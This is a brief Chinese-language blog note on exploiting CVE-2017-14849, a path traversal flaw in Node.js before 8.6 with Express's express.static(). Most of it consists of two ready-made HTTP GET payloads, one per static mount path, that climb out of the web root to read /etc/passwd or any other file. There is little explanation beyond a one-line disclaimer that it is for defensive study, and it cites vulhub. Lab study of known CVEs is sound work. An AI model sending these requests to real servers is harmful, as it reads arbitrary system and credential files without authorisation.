【笔记】CVE-2017-14849漏洞利用

前言

在Nodejs8.6之前的版本,使用Express框架,如果代码中出现express.static()相关代码,可以实现CVE-2017-14849漏洞利用

本文仅用于网络信息防御学习

payload

  • 如果挂载路径为app.use('/', express.static(path.join(__dirname, 'static'))),则payload如下

/etc/passwd:任意文件

request
1
2
GET /../../../a/../../../../etc/passwd HTTP/1.1
Host: example.com
  • 如果挂载路径为app.use('/static', express.static(path.join(__dirname, 'static'))),则payload如下

/etc/passwd:任意文件

request
1
2
GET /static/../../../a/../../../../etc/passwd HTTP/1.1
Host: example.com

完成

参考文献

哔哩哔哩——逆风微笑的代码狗
博客园——水泡泡
vulhub/vulhub